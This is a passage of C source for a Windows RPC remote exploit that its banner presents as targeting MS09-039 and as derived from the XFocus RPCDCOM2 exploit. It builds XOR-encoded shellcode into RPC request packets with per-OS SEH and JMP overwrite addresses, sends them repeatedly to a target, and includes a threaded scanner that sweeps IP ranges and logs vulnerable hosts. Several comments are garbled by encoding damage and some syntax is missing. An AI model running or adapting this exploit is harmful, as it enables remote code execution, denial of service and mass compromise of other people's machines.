  395. for(int i=0;i<sz;i++) 
  396. rawData[i+0x71]=shellcode[i]; 
  397. // fp=fopen("badfile.exe","rb"); 
  398. // unsigned int sz1=fread(shellcode,1,50000,fp); 
  399. // fclose(fp); 
  400. // for(i=0;i<sz1;i++) 
  401. // rawData[i+0x240]=shellcode; 
  402.  
  403. // fp=fopen("pac","wb"); 
  404. // fwrite(rawData,1,1036,fp); 
  405. // fclose(fp); 
  406.  
  407. // return; 
  408.  
  409.  
  410. //∩┐╜∩┐╜αÑñ ΓѼ ∩┐╜ ∩┐╜ ∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜ ∩┐╜ φ»¿ΦѼ  ∩┐╜∩┐╜∩┐╜∩┐╜ ßó«φí«φñ¡φ«ú∩┐╜ HEAP'a 
  411. // DWORD heap=0x00180000; 
  412. // int k=vers; 
  413. // vers=1; 
  414. // *(DWORD *)(rawData+0xae)=target_os[vers].heap; 
  415. *(DWORD *)(rawData+0x71+0x1e)=target_os[vers].heap; 
  416. //∩┐╜φÑ»∩┐╜∩┐╜∩┐╜ ∩┐╜πª¡∩┐╜ ∩┐╜᫬∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜ ∩┐╜ ∩┐╜ φ¬«∩┐╜, φñ½∩┐╜ Γ«ú∩┐╜ ∩┐╜Γ«í∩┐╜ φ»«∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜ ∩┐╜πª¡∩┐╜∩┐╜ ∩┐╜  
  417. XOR(rawData,0x71,sz,0x99); 
  418. // XOR(rawData,0x240,sz1,0x99); 
  419. //∩┐╜ ∩┐╜ φªÑ ∩┐╜ ∩┐╜ ∩┐╜πª¡∩┐╜ ∩┐╜ φ»¿∩┐╜ ∩┐╜∩┐╜ ∩┐╜πª¡∩┐╜∩┐╜ ∩┐╜ ∩┐╜ SEH ∩┐╜ JMP 
  420. DWORD seh=target_os[vers].seh; 
  421. DWORD jmp=target_os[vers].jmp; 
  422. *(DWORD *)(rawData+0x22a)=jmp; 
  423. *(DWORD *)(rawData+0x22e)=seh; 
  424. // *(WORD *)(rawData+0x62)=sz+sz1+(0x240-(0x71+sz)); 
  425. *(WORD *)(rawData+0x62)=sz; 
  426.  
  427.  
  428. memcpy(buf2,request1,sizeof(request1)); 
  429. *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(rawData)/2; 
  430. *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(rawData)/2; 
  431. memcpy(buf2+len1,request2,sizeof(request2)); 
  432. len1=len1+sizeof(request2); 
  433.  
  434. memcpy(buf2+len1,rawData,sizeof(rawData)); 
  435. len1=len1+sizeof(rawData); 
  436.  
  437. memcpy(buf2+len1,request3,sizeof(request3)); 
  438. len1=len1+sizeof(request3); 
  439. memcpy(buf2+len1,request4,sizeof(request4)); 
  440. len1=len1+sizeof(request4); 
  441. *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc; 
  442.  
  443. *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc; 
  444. *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc; 
  445. *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc; 
  446. *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc; 
  447. *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc; 
  448. *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc; 
  449. *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc; 
  450.  
  451. closesocket(sock); 
  452. if(atack) 
  453. sock=socket(2,1,0); 
  454. WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL); 
  455.  
  456. if (send(sock,(const char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR) 
  457. printf("%s - send failed %d\n",ip,WSAGetLastError()); 
  458. return 0; 
  459. else {printf("%s - send exploit to %s\n",ip,target_os[vers].target);} 
  460.  
  461. len=recv(sock,(char *)buf1,1000,NULL); 
  462. bool ft=1; 
  463. if(ft) 
  464. int i=0; 
  465. while(1) 
  466. if (send(sock,(const char *)buf2,len1,0)==SOCKET_ERROR) 
  467. printf("\nSend failed.Error:%d\n",WSAGetLastError()); 
  468. return 0; 
  469. else 
  470. printf("\r%d",++i); 
  471. //Sleep(1000); 
  472. send(sock,(const char *)buf2,len1,0); 
  473. closesocket(sock); 
  474. else fprintf(fp1,"%s %s\n",target_os[vers].target,ip); 
  475. // fp=fopen("pac","wb"); 
  476. // fwrite(rawData,1,1036,fp); 
  477. // fclose(fp); 
  478. unsigned long thread_count=0; 
  479. char adr[200]; 
  480.  
  481. DWORD WINAPI ThreadProc( 
  482. LPVOID lpParameter // thread data 
  483. thread_count++; 
  484. attack(adr,0); 
  485.  
  486. thread_count--; 
  487. return 0; 
  488.  
  489. int main(int argc,char ** argv) 
  490. //printf("%x %x",OF_READWRITE,GETSTRCS(argv[1])); 
  491. //return; 
  492. //HFILE hf=_lopen("asd123",0x1001); 
  493. //printf("%x",hf); 
  494. //_lclose(hf); 
  495. //return; 
  496.  
  497. if(argc!=2){
  498. fprintf(stderr, "RPC universal exploit. Exploit MS09-039 vulnerability\n"
  499. "unpatched host - to codee xecution\n"
  500. "patched host - to DoS\n"
  501. "based on original XFocus RPCDCOM2 exploit\n"
  502. "modification and shellcode (c) by karlss0n\n"
  503. "downloaded on www.k-otik.com\n"
  504. "\n"
  505. "usage: %s <target_ip>\n",
  506. argv[0]);
  507. return 10;
  508. }
  509.  
  510. WSADATA wsaData; 
  511.  
  512. int wVersionRequested; 
  513. wVersionRequested = MAKEWORD( 2, 2 ); 
  514.  
  515. int err = WSAStartup( wVersionRequested, &wsaData ); 
  516. if ( err != 0 ) { 
  517. /* Tell the user that we could not find a usable */ 
  518. /* WinSock DLL. */ 
  519. return 1; 
  520.  
  521.  
  522. if(strchr(argv[1],'.')) 
  523. attack(argv[1],1); 
  524. Sleep(20000); 
  525. return 2; 
  526. int cb=1,db=1; 
  527. cb=atoi(argv[3]); 
  528. db=atoi(argv[4]); 
  529. long tm=atoi(argv[5]); 
  530. for(int c=cb;c<255;c++) 
  531. for(int d=db;d<255;d++) 
  532. sprintf(adr,"%s.%s.%d.%d",argv[1],argv[2],c,d); 
  533. if(thread_count>tm) while(thread_count>tm) Sleep(100); 
  534. CreateThread(NULL,0,&ThreadProc,(void *)"",0,NULL); 
  535. Sleep(10); 
  536. fflush(fp1); 
  537. Sleep(60000); 
  538. fclose(fp1); 
  539. return 0;
  540.  
  541.  
  542.